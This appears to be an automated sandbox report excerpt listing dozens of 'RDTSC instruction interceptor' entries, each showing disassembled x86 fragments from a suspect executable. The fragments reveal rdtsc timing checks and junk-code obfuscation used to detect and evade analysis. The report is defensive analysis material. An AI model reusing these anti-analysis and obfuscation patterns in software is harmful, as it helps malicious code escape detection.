Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C2A5E8 second address: C2A5EC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C2A5EC second address: C2A5F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C2B59B second address: C2B5AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F23CCC4C820h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C22D21 second address: C22D2B instructions: 0x00000000 rdtsc 0x00000002 jo 00007F23CC733A26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C22DE5 second address: C22DEF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007F23CCC4C816h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C2620C second address: C262B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 jng 00007F23CC733A35h 0x0000000d nop 0x0000000e sbb di, 0402h 0x00000013 push dword ptr fs:[00000000h] 0x0000001a push 00000000h 0x0000001c push edi 0x0000001d call 00007F23CC733A28h 0x00000022 pop edi 0x00000023 mov dword ptr [esp+04h], edi 0x00000027 add dword ptr [esp+04h], 0000001Ah 0x0000002f inc edi 0x00000030 push edi 0x00000031 ret 0x00000032 pop edi 0x00000033 ret 0x00000034 mov dword ptr fs:[00000000h], esp 0x0000003b jmp 00007F23CC733A32h 0x00000040 mov eax, dword ptr [ebp+122D0F31h] 0x00000046 mov dword ptr [ebp+1244F607h], edi 0x0000004c push FFFFFFFFh 0x0000004e push 00000000h 0x00000050 push edx 0x00000051 call 00007F23CC733A28h 0x00000056 pop edx 0x00000057 mov dword ptr [esp+04h], edx 0x0000005b add dword ptr [esp+04h], 00000016h 0x00000063 inc edx 0x00000064 push edx 0x00000065 ret 0x00000066 pop edx 0x00000067 ret 0x00000068 mov bh, al 0x0000006a js 00007F23CC733A29h 0x00000070 mov bx, dx 0x00000073 nop 0x00000074 push eax 0x00000075 push edx 0x00000076 pushad 0x00000077 push edi 0x00000078 pop edi 0x00000079 pushad 0x0000007a popad 0x0000007b popad 0x0000007c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C262B0 second address: C262B6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C2876E second address: C28773 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C2884F second address: C28859 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007F23CCC4C816h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C28859 second address: C2885D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C2973C second address: C29742 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C2A716 second address: C2A71C instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C2A71C second address: C2A7AF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jbe 00007F23CCC4C816h 0x00000009 jmp 00007F23CCC4C827h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 nop 0x00000012 push 00000000h 0x00000014 push eax 0x00000015 call 00007F23CCC4C818h 0x0000001a pop eax 0x0000001b mov dword ptr [esp+04h], eax 0x0000001f add dword ptr [esp+04h], 00000015h 0x00000027 inc eax 0x00000028 push eax 0x00000029 ret 0x0000002a pop eax 0x0000002b ret 0x0000002c sub bx, C8BDh 0x00000031 mov edi, ebx 0x00000033 push dword ptr fs:[00000000h] 0x0000003a mov ebx, dword ptr [ebp+122D3959h] 0x00000040 mov dword ptr fs:[00000000h], esp 0x00000047 xor dword ptr [ebp+122D1B60h], ecx 0x0000004d mov eax, dword ptr [ebp+122D0345h] 0x00000053 add dword ptr [ebp+122D25FCh], ebx 0x00000059 push FFFFFFFFh 0x0000005b call 00007F23CCC4C81Bh 0x00000060 pushad 0x00000061 pushad 0x00000062 popad 0x00000063 mov dword ptr [ebp+124480F8h], ebx 0x00000069 popad 0x0000006a pop ebx 0x0000006b push eax 0x0000006c push eax 0x0000006d push edx 0x0000006e pushad 0x0000006f jno 00007F23CCC4C816h 0x00000075 pushad 0x00000076 popad 0x00000077 popad 0x00000078 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C2C684 second address: C2C703 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F23CC733A32h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a add bx, A79Fh 0x0000000f push 00000000h 0x00000011 push 00000000h 0x00000013 push edx 0x00000014 call 00007F23CC733A28h 0x00000019 pop edx 0x0000001a mov dword ptr [esp+04h], edx 0x0000001e add dword ptr [esp+04h], 0000001Ch 0x00000026 inc edx 0x00000027 push edx 0x00000028 ret 0x00000029 pop edx 0x0000002a ret 0x0000002b or dword ptr [ebp+122D1C69h], edx 0x00000031 push 00000000h 0x00000033 push 00000000h 0x00000035 push eax 0x00000036 call 00007F23CC733A28h 0x0000003b pop eax 0x0000003c mov dword ptr [esp+04h], eax 0x00000040 add dword ptr [esp+04h], 0000001Dh 0x00000048 inc eax 0x00000049 push eax 0x0000004a ret 0x0000004b pop eax 0x0000004c ret 0x0000004d or edi, dword ptr [ebp+122D3835h] 0x00000053 push eax 0x00000054 pushad 0x00000055 push eax 0x00000056 push edx 0x00000057 jl 00007F23CC733A26h 0x0000005d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3472C second address: C34732 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C33E3F second address: C33E43 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C33E43 second address: C33E49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C342C4 second address: C342CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C342CA second address: C34328 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 push ebx 0x00000008 jmp 00007F23CCC4C824h 0x0000000d jmp 00007F23CCC4C820h 0x00000012 pop ebx 0x00000013 jmp 00007F23CCC4C824h 0x00000018 popad 0x00000019 push edx 0x0000001a push eax 0x0000001b jg 00007F23CCC4C816h 0x00000021 pop eax 0x00000022 push eax 0x00000023 push edx 0x00000024 jmp 00007F23CCC4C821h 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3A353 second address: C3A359 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3A359 second address: C3A35F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3A35F second address: C3A363 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD8522 second address: BD8526 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD8526 second address: BD852A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C40C0D second address: C40C1C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F23CCC4C81Ah 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C40C1C second address: C40C4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F23CC733A37h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jbe 00007F23CC733A2Ah 0x00000013 push ecx 0x00000014 pop ecx 0x00000015 pushad 0x00000016 popad 0x00000017 pushad 0x00000018 push esi 0x00000019 pop esi 0x0000001a push edx 0x0000001b pop edx 0x0000001c popad 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C40C4F second address: C40C53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3F8A0 second address: C3F8A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3F8A6 second address: C3F8C4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F23CCC4C822h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jnp 00007F23CCC4C81Ch 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3FEDA second address: C3FEEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jne 00007F23CC733A26h 0x0000000c popad 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3FEEA second address: C3FEF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3FEF0 second address: C3FEF7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C40339 second address: C40343 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F23CCC4C816h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C404B3 second address: C404B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C404B9 second address: C404BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C40900 second address: C40910 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F23CC733A26h 0x0000000a popad 0x0000000b pushad 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C4229B second address: C4229F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BCE4AE second address: BCE4FC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F23CC733A2Eh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push esi 0x0000000d pop esi 0x0000000e push esi 0x0000000f pop esi 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 jns 00007F23CC733A26h 0x00000018 popad 0x00000019 push esi 0x0000001a jmp 00007F23CC733A37h 0x0000001f pop esi 0x00000020 popad 0x00000021 pushad 0x00000022 push eax 0x00000023 push edx 0x00000024 jmp 00007F23CC733A2Fh 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C471DC second address: C471F2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F23CCC4C822h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C471F2 second address: C471FA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push edx 0x00000007 pop edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C471FA second address: C47203 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C47878 second address: C4787E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C4C2F3 second address: C4C2F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C4C2F9 second address: C4C301 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C4B16C second address: C4B192 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F23CCC4C826h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F23CCC4C81Ch 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C11055 second address: C1105F instructions: 0x00000000 rdtsc 0x00000002 jl 00007F23CC733A2Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C1128D second address: C112C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F23CCC4C826h 0x00000009 popad 0x0000000a jmp 00007F23CCC4C828h 0x0000000f popad 0x00000010 push eax 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 push edi 0x00000015 pop edi 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C11387 second address: C1139A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 pop eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jnc 00007F23CC733A2Ch 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C1139A second address: C1139E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C1139E second address: C113A4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C113A4 second address: C113B5 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C113B5 second address: C113BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C113BC second address: C113C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C113C2 second address: C113C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C113C6 second address: C113E1 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [eax] 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F23CCC4C81Dh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C113E1 second address: C113E7 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C11474 second address: C1147A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C11946 second address: C1194A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C1194A second address: C11950 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C11950 second address: C1195A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007F23CC733A26h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C1195A second address: C119B0 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push 00000000h 0x0000000d push ebx 0x0000000e call 00007F23CCC4C818h 0x00000013 pop ebx 0x00000014 mov dword ptr [esp+04h], ebx 0x00000018 add dword ptr [esp+04h], 00000016h 0x00000020 inc ebx 0x00000021 push ebx 0x00000022 ret 0x00000023 pop ebx 0x00000024 ret 0x00000025 mov dword ptr [ebp+122D1C02h], ebx 0x0000002b push 0000001Eh 0x0000002d pushad 0x0000002e mov ax, DD7Dh 0x00000032 jnl 00007F23CCC4C817h 0x00000038 popad 0x00000039 nop 0x0000003a pushad 0x0000003b jmp 00007F23CCC4C822h 0x00000040 push eax 0x00000041 push edx 0x00000042 push esi 0x00000043 pop esi 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C119B0 second address: C119B4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C2C8B7 second address: C2C8C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C2C8C0 second address: C2C8C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C2C8C4 second address: C2C8C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C11C44 second address: C11C5A instructions: 0x00000000 rdtsc 0x00000002 jo 00007F23CC733A26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop esi 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jo 00007F23CC733A26h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C11C5A second address: C11C6D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F23CCC4C81Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C11C6D second address: C11C87 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F23CC733A2Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e push esi 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C11C87 second address: C11CAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop esi 0x00000006 mov eax, dword ptr [eax] 0x00000008 jmp 00007F23CCC4C826h 0x0000000d mov dword ptr [esp+04h], eax 0x00000011 push ebx 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C11D32 second address: C11D36 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C11D36 second address: C11D3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C11D3C second address: C11D9E instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F23CC733A33h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b push 00000000h 0x0000000d push eax 0x0000000e call 00007F23CC733A28h 0x00000013 pop eax 0x00000014 mov dword ptr [esp+04h], eax 0x00000018 add dword ptr [esp+04h], 0000001Bh 0x00000020 inc eax 0x00000021 push eax 0x00000022 ret 0x00000023 pop eax 0x00000024 ret 0x00000025 call 00007F23CC733A2Bh 0x0000002a mov ch, 6Ch 0x0000002c pop ecx 0x0000002d lea eax, dword ptr [ebp+12474933h] 0x00000033 push edx 0x00000034 mov edx, 500D5DD1h 0x00000039 pop ecx 0x0000003a mov edi, ebx 0x0000003c push eax 0x0000003d pushad 0x0000003e push eax 0x0000003f push edx 0x00000040 jbe 00007F23CC733A26h 0x00000046 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C11D9E second address: C11DAC instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jno 00007F23CCC4C816h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C11DAC second address: C11DB0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C4B5E7 second address: C4B604 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F23CCC4C825h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C4B604 second address: C4B610 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jne 00007F23CC733A26h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C4B610 second address: C4B620 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007F23CCC4C816h 0x0000000a jne 00007F23CCC4C816h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C4B620 second address: C4B624 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C4B799 second address: C4B7D6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 pushad 0x00000009 jmp 00007F23CCC4C824h 0x0000000e pushad 0x0000000f popad 0x00000010 jmp 00007F23CCC4C825h 0x00000015 popad 0x00000016 jnl 00007F23CCC4C81Eh 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C4BC10 second address: C4BC15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C4BC15 second address: C4BC41 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F23CCC4C826h 0x0000000a pop ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F23CCC4C81Eh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C4BC41 second address: C4BC68 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jmp 00007F23CC733A33h 0x0000000e pushad 0x0000000f jnl 00007F23CC733A26h 0x00000015 push edx 0x00000016 pop edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C4BF13 second address: C4BF17 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C51310 second address: C51314 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C51314 second address: C5131E instructions: 0x00000000 rdtsc 0x00000002 js 00007F23CCC4C816h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C51474 second address: C51478 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C519B2 second address: C519C5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 jnp 00007F23CCC4C816h 0x0000000b jno 00007F23CCC4C816h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C50FE8 second address: C51001 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007F23CC733A2Fh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C51001 second address: C51007 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
